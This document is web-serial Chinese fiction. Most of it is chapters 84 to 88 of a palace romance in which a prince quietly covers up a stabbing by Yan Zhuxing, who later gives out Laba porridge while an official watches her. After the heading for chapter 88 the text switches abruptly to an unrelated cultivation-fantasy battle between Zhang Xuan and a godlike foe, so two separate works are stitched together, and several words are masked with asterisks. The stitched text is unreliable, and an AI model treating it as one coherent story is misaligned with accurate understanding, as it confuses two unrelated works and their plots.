“谢世孙请放心,我们一定会尽早将王素娟缉拿归案。”刑部尚书跟着点头。
两人态度毕恭毕敬,说话又句句有回应。
谢锦程一时间真是气都不知道该往哪里撒。
他敢随意折辱晏明修,却不能光明正大地动这两位朝廷要员。
因而只能铁青着脸,一言不发。
“辛苦二位大人了。”谢清安得了父亲的示意,赶忙出来将两人送走。
“不辛苦。此事还得上报陛下呢,我等就先行离开了。”两人也没有在王府过多的逗留,转身就走。
他们一走,谢锦程就大发脾气。
“您难道看不出来他们是在撒谎吗?”
“撒谎又如何!此事横竖查不到真凶,他们迟早要拿无关紧要之人糊弄咱们。现在最要紧的是王素娥的事。”谢清安恨铁不成钢地看着儿子。
“这事瞒不住了,你祖父已经知道了,他让你过去见他。”
谢锦程抿着唇,满脸不服气,听到“王素娥”三个字,眼里的恨意更深。
“知道了。”他不情不愿地去见了昭瑞亲王。
*
刑部尚书和大理寺卿来到御书房时,谢翊宁也在。
“参见陛下,参见永安王。”
两人赶忙行礼。
“免礼。”文昭帝抬手示意他们起身。
“不知两位爱卿今日前来,所为何事啊。”
谢翊宁原本打算离开,却被刑部尚书一句话给留住了。
“微臣前来,乃是为了昭瑞亲王之孙谢锦程被刺杀一案而来。凶手已经找到了。”
谢翊宁不走了。
他正大光明地坐到了一旁的椅子上旁听。
两位大人已经见怪不怪,凭着皇上对永安王的溺爱,就算他现在躺地上听他们说话,皇上肯定也不会训斥他。
保不准还会夸他躺得真好看。
文昭帝有些惊讶地看着儿子,不是说要走么,怎么还留下来了。
“这茯苓糕真不错,就是有点噎。严公公,劳烦您给我添杯茶。”谢翊宁指了指自己空荡荡的杯子。
严公公看了皇帝一眼,就见他微微抬了抬下巴,目光落在了自己面前的那碟奶饽饽上。
严公公明白了。
皇上这是让他赶紧给永安王添茶,然后顺便把这奶饽饽也送过去,这个不噎。
见他端走后,文昭帝这才看向了两位大人。
“哦?凶手是何人?”
谢翊宁装作不经意,实际上早已竖起了耳朵。
不会吧不会吧。
他上回派照夜和停云去扫尾,他们说小恩人办事很利落,没有留下任何证据呀。
怎么这两人还能查到真凶?
“凶手名唤王素娥,是京郊曹家村的一名村妇。”刑部尚书负责讲解。
他把事情的来龙去脉说了一遍。
谢翊宁听着顿时放下心来。
看样子这二位大人是找不到真凶,又被昭瑞亲王逼得没法子了,这才病急乱投医,把黑锅扣在了那个村妇身上。
“所以昭瑞亲王之孙强掳
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清白民女在前,为掩恶行,竟屠戮其满门在后?”文昭帝眉头紧锁。
二位大人忙道:“启禀皇上,此事还在京兆尹裴大人手中审理,明日方才移交至大理寺和刑部,因此具体的情况,我等尚未明晰。”
“行了,朕知道了,退下吧。”文昭帝将两人打发了下去。
谢翊宁吃完了糕点,也听完了案情,拍拍手起身打算走人,结果就被叫住了。
“石头,所以后日你的生辰,你到底想怎么过?”文昭帝无奈地看着儿子。
“就像从前一样,略过。”谢翊宁无所谓地耸了耸肩。
“那怎么行!”文昭帝坚决不同意。
自打一周岁时儿子被国师断定活不过及冠,他们就再也没给他过过生辰了。
感觉每一年他过生辰都是在倒数他的死亡。
大家都默契地逃避。
如今从国师口中得知儿子命数已改,怎么还舍得让他简简单单地过完十八岁的生辰。
“总之不许大操大办!”谢翊宁果断反对。
“就咱们一家人一块吃吃饭就行了。我命数已改的事情,不宜大张旗鼓地宣扬。”
“行吧。”文昭帝拗不过小儿子,只得点头答应了。
“你若改了主意,随时入宫找父皇。哦,对了,你想要什么生辰礼物呀?”
“都行。”谢翊宁甩下两个字赶紧开溜。
他真是怕了父皇了。
一个生辰而已,磨磨唧唧说老半天了。
他要再不走,父皇恐怕就要拉着他回忆往昔,说小时候多么对不起他了。
毕竟每个皇兄皇姐还有皇妹的生辰都是办得热热闹闹的,唯有他的生辰总是略过。
父皇和母后总觉得亏欠了他。
可他这些年得了那么多宠爱,不过区区生辰礼物而已。
他要什么有什么,他才不在意呢。
回了王府。
谢翊宁想到了先前在御书房听到的事情,将照夜找了过来。
“你去打听打听,那个王素娥和谢锦程到底是怎么一回事?还有,顺便也去探望一下衔蝉。”
照夜意味深长地看了主子一眼。
探望衔蝉是假,打听晏大小姐的事情才是真吧。
看来王爷真是对晏大小姐情根深种。
想来等到明年大小姐及笄,他们就要有王妃了。
第85章 非卿不娶么
衔蝉正教晏逐星煮腊八粥,看守角门的管事娘子罗柳氏就来了。
“衔蝉姑娘,永安王府来人了,说要见你。”
衔蝉忙看向晏逐星,脱口而出:“奴婢最近都没和王府有联系。”
晏逐星见她这般紧张,微微弯了弯眉眼:“无妨。你去看看吧,许是有什么要紧事。”
衔蝉点头,洗干净了手,这才出去见人。
见到照夜,她有些惊讶。
“照夜大人,您来寻我是有什么事吗?”
“上回王爷让你去找嬷嬷拿簪子,你没拿,所以便让我给你送了过来。”照夜掏出一支银簪递给了她。
衔蝉这才想起上回王爷要走了小姐给她的簪子,允诺让她挑,结果她急着回来**,就给忘了。
看着簪子她眉头微皱。
这簪子怎么那么粗糙,看起来就不像王府会出现的东西。
王爷也不像那么抠门的人啊。
怎么会拿这样的东西糊弄她?
“很丑吗?”虽然看出了她眼里的嫌弃,但照夜还是忍不住问了出来。
“呵呵呵呵。谢谢啊。”衔蝉尴尬地笑了没有正面回答。
不回答就是最好的回答。
照夜懂了。
他雕刻了十多支簪子,认为这支最好看,原来还是入不了衔蝉姑娘的眼。
他还得练。
他本想将那支簪子收回,但又觉得再拿回来也不合适。
于是他又掏出了一支金簪:“拿错了,这才是王爷让我给你的。”
衔蝉眼睛瞬间亮了起来。
这支海棠花簪子可真好看。
她当即接过,笑道:“记得替我谢谢王爷。”
将两支簪子都收下后,她看向了照夜:“还有别的事吗,没有我就先回去了。我在教小姐煮腊八粥呢。”
“腊八粥?明日可会送去王府?”照夜立刻尽职尽责地打听了起来。
“送王府做什么?”衔蝉一愣。
“小姐是要给烈国公府送。”
她说完顿时意识到照夜是在套话。
如今她是大小姐的人,断不能随意透露大小姐的想法。
她赶忙转移了话题。
“你们呢?最近在忙什么?明日王府可会煮腊八粥?”
“前几日,王爷命我和停云去了醉花楼,让我们看看那夜是否遗漏了东西。”照夜听出了她的试探,没有隐瞒,压低声音给了她暗示。
衔蝉心头“咯噔”一跳。
“然后呢?”她忍不住追问。
“没有落下任何东西,因为王爷本来就没去过醉花楼。”照夜盯着她的眼眸,意有所指。
衔蝉顿时会意:“好了,不和你说了,粥该糊了。”
她晃了晃手中的簪子,冲他展颜一笑:“劳烦你走这一趟啦。谢谢。”
说罢她便快步回了玉澜院。
角门关闭,照夜离开。
盯着他们的人,也离开了。
衔蝉见到晏逐星,立刻把先前的对话一五一十的全说了出来。
晏逐星瞬间就领悟了照夜的言外之意。
谢翊宁知道了那夜是她动的手,非但没跟刑部和大理寺检举她,反而还替她善后了。
她瞬间紧张了起来。
谢翊宁三番五次地帮她,当真只是为了报恩么。
他究竟想要什么呢?
他让贴身护卫来说这么一番话,是敲打她日后收敛些,还是让她明日去请罪?
晏逐星脑海里一瞬间闪过了无数的念头。
“小姐?”见她脸色不好,衔蝉心下有些不安。
晏逐星回过神来,冲她露出了一抹笑。
“没事,明日多做些腊八粥。我给国公府送完之后,便去施粥。永安王那边,你也替我送一份过去吧。”
“是。”衔蝉点头应下了。
*
“大人,永安王的护卫去了侯府,在角门与侯府大小姐的丫鬟相会,先给了她一支银簪,又给了她一支金簪。”裴明镜派去的护卫第一时
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间将这个消息传了回来。
“只不过他们说话声音很低,我并未听到他们说了什么。”
裴明镜若有所思。
他一直觉得永安王对晏逐星不一般,上回让郑晗盯着他不敢,他干脆就让自己的护卫去盯着了。
如今看来,他猜得果然没错。
两人私下确实关系匪浅。
银簪是赏赐给婢女的,金簪恐怕就是给晏逐星的了。
金簪赠佳人,结发许同心。
永安王命人给晏逐星送去金簪,含义不言而喻。
他对晏逐星竟然已经到了非卿不娶的地步么。
可晏逐星这样的身世和名声,帝后会同意永安王娶她为正妃么?
裴明镜觉得不可能。
但想到永安王的性子,他忽然又有些不确定了。
依照永安王的性子,他若非要娶,恐怕帝后也拗不过他,只有同意的份。
可他过不了两年就要没命了,晏逐星攀高枝选他,真是目光短浅。
完全没有考虑过以后。
急功近利、心机叵测。
他在心底给晏逐星下了判定。
想到先前他还维护过她,被她可怜兮兮的模样骗过。
他心里对晏逐星的厌恶忍不住增加了几分。
“继续盯着她。”裴明镜当即吩咐下去。
护卫离开后,裴明镜看着**的证词,陷入了沉思。
昨夜,昭瑞亲王府来人见了管家**一面。
今日,**便改了口。
只说是王素娥在王府里帮工时,他色迷心窍,起了不该有的心思,被王素娥拒绝后,恼羞成怒,**,灭了王家满门。
他将一切的罪名都揽到了自己头上,半句不利于谢锦程的话都没说。
这样下去,恐怕这桩案子也就到此为止了。
他疲惫地闭上了眼睛。
脑海里不由闪过了晏逐星的脸。
和上一次一样,他总觉得这桩案件的突破口,应该在她身上。
第86章 三十还未嫁
只是他把卷宗翻来覆去地看了几十遍,又去醉花楼现场查了好几回,都没找到和晏逐星有关的证据。
有时候他也会怀疑是不是自己想多了。
但他相信自己的直觉。
于是裴明镜下定了决心。
在结案之前,他要多多和晏逐星接触,一定要从她那里撬出真相。
*
腊月初八,宜祈福、求嗣,忌入宅、嫁娶。
晏逐星早早地就起身去了小厨房煮腊八粥。
因为晏明修的事情,定远侯府乱成了一团。没有人提醒,当家主母的温如霜根本想不起今日已经是腊八。
晏逐星亲自给定远侯送了一碗腊八粥,定远侯这才惊觉今日已经是腊月初八。
而侯府里丝毫没有过节的热闹气息,一片死气沉沉。
定远侯心情有些糟糕。
晏逐星开口道:“父亲,女儿打算命人熬制一些腊八粥,待会到城外去给百姓施粥。近来府中多事,权当是为咱们家祈福了。您意下如何?”
定远侯满意地看着她:“星儿有心了。”
这段时间,侯府上上下下确实有些不顺。
给百姓施粥积攒功德,说不定能化解侯府这些坎坷。
他叫来管家,吩咐道:“给大小姐支三百两银子,备好施粥所需。”
晏逐星笑着称赞:“父亲大义。届时百姓们定会感念您这份恩德,颂扬侯府仁德,皇上若是知晓,想必也会夸赞您品行仁善堪为百官之首。”
这一席话说得定远侯是眉目舒展,心花怒放,当场又给晏逐星加了二百两银子。
晏逐星自然不会推脱。
收下银子,她便命人将昨日就采买好的食材拿去熬煮腊八粥。
而她先去了一趟烈国公府。
“妹妹。”看到她,尉迟敦开开心心地跑了过来,手里还抱着她送的那个布老虎。
“哥哥,当心,莫要摔了。”晏逐星赶忙拦住他。
“不会摔,我厉害着呢!”尉迟敦骄傲地扬起了下巴,随后又神秘兮兮地凑到她耳边,“昨日我还钓到鱼了呢。”
“有那么大!”他虚空比划了一下,那鱼至少得有半臂长。
“哇,哥哥好厉害,竟然能钓那么大的鱼。”晏逐星丝毫不吝啬自己的夸奖,脸上满是崇拜。
一旁的丫鬟嘴角抽了抽。
那鱼是国公爷特意命人跳到湖里,撬开鱼嘴让它咬钩的。
不然世子爷一坐就是一天,谁受得了啊。
“那是,爹爹还给我烤了鱼,香喷喷的。哎呀。忘了给妹妹留了。”尉迟敦懊恼地挠了挠头。
“没关系,今日腊八,我给哥哥送了腊八粥。”晏逐星笑着牵着他进了花厅。
烈国公夫妇得知她要来,早早就等着了。
令晏逐星没想到的是,屋子里还有一个看起来约莫三十出头的妇人,看着有些面生。
且她梳的竟还是未嫁女儿家的发式。
见她目光略带疑惑。
烈国公夫人拉着她的手,给她介绍道:“这是你义父的小表妹,姓骆。你同敦儿一样唤她表姑就好。”
“见过表姑。”晏逐星乖巧行礼。
骆文缨点点头,给了她一个镯子当见面礼。
晏逐星将煮好的腊八粥让丫鬟送了上来。
“这是我亲手做的,你们尝尝。”
“那我们可得好好尝尝了。”二老笑容满面。
尉迟敦乖乖在旁边喝粥,喝到一半,他端起一碗新的粥站了起来。
“敦儿,你去哪呀?”烈国公夫人赶忙叫住他。
“妹妹也要。”尉迟敦一本正经地回答声。
“妹妹不是在这吗?”烈国公夫人指向了晏逐星。
“不是这个妹妹。”尉迟敦摇了摇头,“这是星儿妹妹。”
随后他低头看向了手中的腊八粥。
“这是给晞儿妹妹的。”
一句话让烈国公夫妇都愣住了。
见他们好像还不明白,尉迟敦认真地解释了起来:
“星儿妹妹说晞儿妹妹去了很远的地方,等我长大了,她就会回来看我了。她说,不要认错人,要一直记得晞儿。不然晞儿会伤心的。”
烈国公夫人听到这话,当场就掉下了眼泪。
“哥哥快去吧,腊八粥冷了可就不好吃了。晞儿妹妹若是收到了你送的腊八粥,肯定很开心。”晏逐星笑着看向了尉迟敦。
“嗯!”尉迟敦重重点头,开心地捧着腊八粥送到了尉迟晞的牌位前。
未嫁人又没及笄的女子,算是夭折,不得入祠堂。
但烈国公夫妇心疼女儿,便将她生前住的院落保留了。在屋内设了一个小的灵堂,逢年过节祭拜女儿。
尉迟敦正是要去那里探望妹妹。
他跟着丫鬟离开后,烈国公已经替夫人擦掉了眼泪。
烈国公夫人紧握住晏逐星的手:“星儿,多谢你。”
若不是星儿一直给敦儿看女儿的画像,不厌其烦地跟他说了那么多道理,恐怕敦儿早就把自己的亲妹妹给忘记了。
“都是一家人,干娘不必和我道谢。”晏逐星赶忙宽慰她,随后又将自己打算去城外施粥的事情说了。
烈国公夫人猛地一拍脑袋:“哎呀,我怎么把这事给忘了。那我们也去吧。就当给敦儿攒些功德,盼他岁岁平安。”
“都听夫人的。”烈国公自然不会有任何的意见。
一旁的骆文缨看向晏逐星的目光也多了一丝温和。
这小姑娘,倒是善良。
不似她以为的那种攀龙附凤之人。
“我现在就去准备吧,待会和表嫂一块去施粥。”骆文缨开口。
“那当然好呀。”烈国公夫人笑呵呵地应下。
骆文缨起身后,烈国公也去找儿子了,屋内只剩下了烈国公夫人和晏逐星。
烈国公夫人关心地询问了她在侯府的近况,得知她一切都好,便放心下来。
说着说着,她转头聊起了骆文缨。
晏逐星立刻竖起耳朵听起来。
毕竟她确实有些好奇,骆文缨三十出头了,为何还是未嫁之身。
“文缨比你义父小了十八岁,我嫁过来时,她才那么大点。”烈国公夫人比划了起来。
“她自小和霍家长子定了娃娃亲。”
“哪个霍家?”晏逐星心下一动。
“就是镇守边关的霍问霍将军的长子霍开昀。”
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烈国公夫人叹了一口气。
“只可惜,天妒英才,文缨及笄后,两家正欲议亲,霍家长子却战**沙场。霍家不愿耽误文缨,称娃娃亲只是玩笑,反正还没正式下聘定亲,让她另嫁。但文缨却不愿意,自此为他守节,终身不嫁。”
“从十六岁至今,已经三十有二。这十几年来,她从未松口。”
“如今尉迟姑姑命不久矣,想要在撒手人寰之前看她嫁人,这才让她回京,请我们给她找一个好人家。”
晏逐星这才恍然大悟。
为何骆文缨三十多了还梳着未嫁女子的发式。
“原来如此。表姑对霍家那位少将军真是情深义重啊。”
烈国公夫人再次叹气:“太重情也不是什么好事。蹉跎至今,京中哪里还有什么好人家可选。她这个年纪,怕是只能去给人续弦了。”
“好人有好报,表姑这般重情重义,说不定日后还有一个如意郎君等着她呢。”晏逐星宽慰她。
两人闲聊了几句,想着时间差不多了,约定好城外见后,晏逐星就先告辞了。
与此同时。
衔蝉也把腊八粥送去了永安王府。
“王爷,定远侯府也送了腊八粥来。”照夜将东西送到了谢翊宁面前。
谢翊宁抱着猫儿摆了摆手:“拿下去分了吧。”
每年腊八节,宫中还有京城里有头有脸的人家都会给他们送腊八粥,他懒得看,都是让下人分掉的。
“衔蝉送回来的,说是晏大小姐亲手做的。”照夜强调了一遍。
谢翊宁歪着的身子瞬间坐直了。
“什么?竟然还让她亲手煮腊八粥,侯府竟然连煮饭的厨娘都要克扣她的么?”
他看定远侯真是欠敲打了。
要不他去父皇面前说几句谗言吧,让定远侯好好回家整治整治后宅。
照夜:……
他终于体会到了停云的感受。
王爷对那位当真是溺爱过头了。
晏大小姐是那种会让人欺负的性子么?
“是大小姐感念王爷恩德,亲手做了,让衔蝉送回来的。”照夜只得完完整整地把话说清楚。
谢翊宁听到这话,努了努嘴,示意照夜把粥盛出来他尝一口。
他一边吃一边询问道:“那她怎么不亲自送来。”
照夜:“她去给烈国公府送了。”
“哐当”一声响。
谢翊宁把勺子扔回了碗里。
什么意思,她亲自给烈国公府送,结果他这边竟然就让衔蝉送来打发了?
“怎么,她是觉得本王对她的恩德,不如烈国公府的大?”
他心里莫名有些不高兴了。
还是停云懂他,赶忙道:“王爷,您是为她做了那么多,您没说,人家也不知道呀。咱做了好事,必须得留名。”
“本王岂是那种沽名钓誉之人。不过是些小事罢了,有什么好说的。”谢翊宁哼了一声。
“对您来说是小事,对晏大小姐来说可就未必了。听说她今日要在城外施粥,不如您亲自问问去?”停云提议。
照夜一脸惊讶地看着他,这小子转性了?
竟然还会撮合王爷和晏大小姐了。
第87章 不是私会么
停云回了他一个眼神:识时务者为俊杰。
他早就不是当初的他了!
如今,他和王爷一条心。
王爷为了晏大小姐,不仅找了裴大人的麻烦,甚至连她伤了谢世孙命根子之事都能包庇。
这份心意堪比磐石。
王爷分明是铁了心要护她。
都这份上了,他还犟什么,识相点赶紧听王爷的得了。
王爷说晏大小姐是好人,那她就是好人!
“本王是这么小气的人么,有什么好问的。”谢翊宁像是想起了什么,重新拿起勺子继续吃剩下的腊八粥。
吃完后转头就吩咐了管家准备施粥的东西。
照夜、停云:……
王爷真是一如既往地嘴硬。
*
晏逐星抵达城外时,施粥的队伍已经排成了长龙。
百姓们一见她的车驾,呼啦啦跪倒一片,你一言我一语地高喊:“谢晏大小姐施粥之恩!”
“大小姐,您真是救苦救难的活菩萨啊。”
感恩声道谢声此起彼伏。
晏逐星忙摆手示意他们安静:“我的一片小小心意罢了。大家好好排队,莫要推搡。今日腊八,都过个好节。”
她简单的一句话却让不少百姓红了眼眶。
侯府的腊八粥都加了糖,吃起来甜丝丝的。而且分量很足,实打实的一碗粥,不像往日里别的贵人那般,施的粥就是在水里找米,有些甚至还掺了细碎的石子。
如今侯府一碗粥入肚,他们都能吃得饱饱的,整个人都暖和了。
裴明镜得知定远侯府派人到城外施粥,猜测晏逐星一定会来。
果不其然,他在这等了两刻钟,她果然来了。
他坐在不远处的马车里,远远地盯着晏逐星。
她替换了婢女,亲自给百姓们盛粥。
百姓们没想到侯府千金竟然愿意给自己亲自盛粥,都受宠若惊,又感恩戴德,一连说了好几句多谢。
“不用谢,天寒地冻的,领了粥,早日回家去吧。”她笑意盈盈地将粥递给了下一个人。
低头一看,发现等着施粥的是一个小姑娘。
身上穿着灰黑色漏风的小袄,红通通的小脸上横着几道冻裂的口子,还淌着鼻涕,看着可怜极了。
“仙女姐姐,我可以多要一份吗?”她怯生生地开口询问。
“每人一份,不能坏了规矩哦。”晏逐星摇头拒绝。
“可是我阿娘刚生了妹妹,太冷了,她起不来,妹妹也不能来。”小姑娘扁扁嘴,吸了吸鼻涕,快哭了出来。
“那你阿爹和爷奶呢?”一旁的双鲤忍不住问道。
“阿爹**,爷奶说我们是赔钱货,不要我们……”小姑娘垂下了头。
双鲤愕然,顿时有些窘迫了起来。
她没想到会戳中小姑娘的伤心事。
她看向了晏逐星:“大小姐,她这么可怜,要不就多给她盛一份吧。”
“凭什么呀,不是说好排队一人一份的么。”
“就是就是,那这样我是不是也能给我瘫痪在床的老娘多领一份……”
后边立刻有人不满了。
走向人群的裴明镜听到骚乱,顿住了脚步。
他也想听晏逐星会怎么回答。
晏逐星见小姑娘鼻涕都快掉到碗里了,她掏出帕子,替她温柔地擦掉。
小姑娘顿时鼓起勇气看向她。
没想到,听到的确是拒绝了。
“不行哦。”晏逐星将帕子塞到了她手里。
“规矩就是规矩。若人人都找借口要多盛一碗,这施粥的队伍不得乱套了。”
听到她的话,小姑娘脸上顿时出现了失落的表情。
但她懂事的没有纠缠,接过晏逐星递来的腊八粥,说了一声谢谢就抹着眼泪离开了。
晏逐星将勺子交给了双鲤,扭头附耳对九栀说了几句话。
“九栀,你带一碗粥去,送她回家。若她所言属实,晚些回了侯府,挑些下人们旧了的衣裳,送去给她们。”
九栀点头应下,单独盛了一碗粥离去。
裴明镜正要走过来跟晏逐星打招呼,就听到了一阵惊呼声。
“永安王来了。”
百姓
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们齐刷刷地跪下行礼。
“参见永安王。”
谢翊宁掀开车帘,走了下来,冲百姓们指向了西南方位。
“不必多礼。今日腊八,王府施粥在另一处,排队即可,每人一份。”
“多谢王爷。”百姓们乐开了花,没想到今日竟然能得那么多善人施粥。
如今天气冷,粥就算放上两日也不会坏。
这些贵人们可是替他们节省了几日的粮食啊!
裴明镜看到谢翊宁的那一刻,恍然大悟。
他说为什么晏逐星好端端的忽然施粥,原来是想扭转名声,顺便和永安**明正大地见面。
她可真是不放过任何一个能接触权贵的机会啊。
裴明镜唇角泛起一丝冷笑。
谢翊宁没想着什么避嫌不避嫌的,他直接走到了晏逐星身侧。
晏逐星忙冲他行礼:“臣女参见永安王。”
“不必拘礼。”谢翊宁用折扇轻轻将她胳膊抬起。
“多谢王爷。”晏逐星礼仪姿态摆得端端正正,让人挑不出毛病。
她说完这句话后,谢翊宁没有开口,晏逐星也摸不准他这是什么意思,于是也没有开口。
两人就这么沉默着谁也没说话。
谢翊宁用眼角余光偷偷瞥了她一眼。
她今日特意让衔蝉送腊八粥来,不是遇上困难要他帮忙的意思么?
怎么他都主动过来了,她还不吭声。
晏逐星也在心里嘀咕。
永安王忽然来找她是什么意思。
难不成是今日她没有亲自去永安王府道谢,他不高兴了?
她现在应该说点什么?
沉默。
依旧是无尽的沉默。
不远处的裴明镜都有些看不明白了。
这两人不是来私会么,怎么一言不发地站这儿吹冷风,到底要做什么?
最后还是谢翊宁没憋住先开了口。
“此地风大,不如到马车上歇着吧。”
他想,或许是此地人多,小恩人不方便开口。
到马车上,没了外人,或许她就敢跟他说话了。
第88章 被王爷误会
灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。
就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。
为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊!
“灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!”
狠人道。
灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难?
“原来如此……”张悬目光一闪。
“和你说这么多,也算感谢将我带到神界了!”
解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。
“张悬,黑洞吞的越多,他的实力越强……”
洛若曦也发现了不对劲,急忙传音过来。
“准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!”
轰隆!
最强大的剑意,再次施展而出。
生当复来归,死当长相思!
生死皆不在乎,又有何事可以阻拦?
这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。
呼!
一剑将狠人的攻击,斩成两半。
同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。
她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。
“你们的招数是很厉害,但对比我,还是差了些……”
轻轻一笑,狠人再次向下抓来。
一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。
噗!噗!
张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。
以二人的实力,竟然抵挡不住!
这家伙到底达到了何种境界?
“放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。
远远看去,逼格十足。
炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。
一拳扬起,力量冲上九天。
和狠人对碰,同样倒飞而出,挡不住一招。
张悬捂住额头。
成就帝君了,分身依旧不改装逼的本性……
这么绚丽的装逼,还不如将力量集中起来,威力更大!
“一起出手,不然,他们**,我们都会死……”
小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。
剩下六大帝君,也各自施展手段。
七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。
嘭嘭嘭嘭!
七位帝君和张悬等人一样,倒飞而出。
十大帝君,联合在一起,竟然都没挡住对方一招!
这家伙,怎么会这么强大?
“你们可以**……”
一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。
“鼠辈敢尔!”
伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。
“帝君?他也是帝君实力?”
张悬瞳孔一缩。
这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者!
如果他是帝君,那位青年,是什么?
“他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。
“那……传我剑法的青年呢?”张悬再也忍不住。
“他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。
张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。
“哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!”
将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。
“怎么办?”张悬拳头捏紧。
刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招……
难道神界,真的没人能够挡住眼前这位?
任由他将世界毁灭?
“唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。
“回归天道本身?”张悬知道她的意思。
脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。
就好像人体的免疫系统。
免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。
只是……
“他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。
病毒,免疫系统是可以斩杀,但……猛虎呢?
再强的免疫系统,又有什么办法?
眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。
“这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!”
“他?”张悬皱眉。
“我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。
“想逃?”狠人冷哼,向下一按。
嘭!
洛若曦从空中坠落。
“你……”张悬剑法再次施展出来,剑意辉煌而出。
叮叮叮!
再次被狠人挡住。
“你们快走,我来挡住他……”
知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。
四周的空间凝固起来。
“走!”
见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。
自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。
“你说的他,在哪里?”
没空去观察普通人的生活,张悬看向怀中的女孩。
如果她说的那人,真能拯救神界,自己牺牲又何妨!
“他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。
“父亲?”
张悬恍然大悟。
难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。
这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。
“你父亲也是帝君?或者拥有超越帝君的实力?”
忍不住道。
图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大?
如果是这样的话,又为何会昏迷?
又需要天道有缺,才能让其清醒?
“他不是帝君,而是……天道!”
洛若曦秀拳捏紧。
“天道?你父亲……是天道?”张悬一震,不敢相信。
“是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。”
洛若曦道。
张悬恍然。
名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。
竟然是她父亲,而且还是神界天道!
天道真的能够化成人形,并且生儿育女吗?
“代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。
代为掌控,和自己这种融合在体内,是两种概念。
“我只是掌控,并不是天道的一部分……”洛若曦道。
张悬松了口气。
这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。
尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。
“我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。
“这……我也不确定……”
抬头看了看已经崩塌的神界,洛若曦迟疑。
神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗?
真不好说!
“看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!”
“孔师?他……”洛若曦皱眉。
“孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!”
张悬道。
看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。
可以做到胎中不迷。
再加上提前留下的后手,复活,只是时间问题。
洛若曦愣住,似乎她没想到,会是这样。
“过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。
孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。
